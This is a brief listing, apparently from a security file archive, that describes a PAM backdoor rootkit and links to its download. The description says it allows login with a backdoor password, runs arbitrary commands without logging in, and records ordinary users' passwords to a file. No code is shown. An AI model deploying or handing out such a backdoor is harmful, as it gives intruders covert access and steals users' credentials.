This pam backdoor allows access to a machine using a backdoor password and arbitrary commands can also be executed without logging in. Logs normal users passwords to a log file. Configurable without recompilation.
You can download it from the following link: https://packetstormsecurity.com/files/download/33816/pam_rootkit.tar.gz
Source: https://packetstormsecurity.com/files/33816/pam_rootkit.tar.gz.html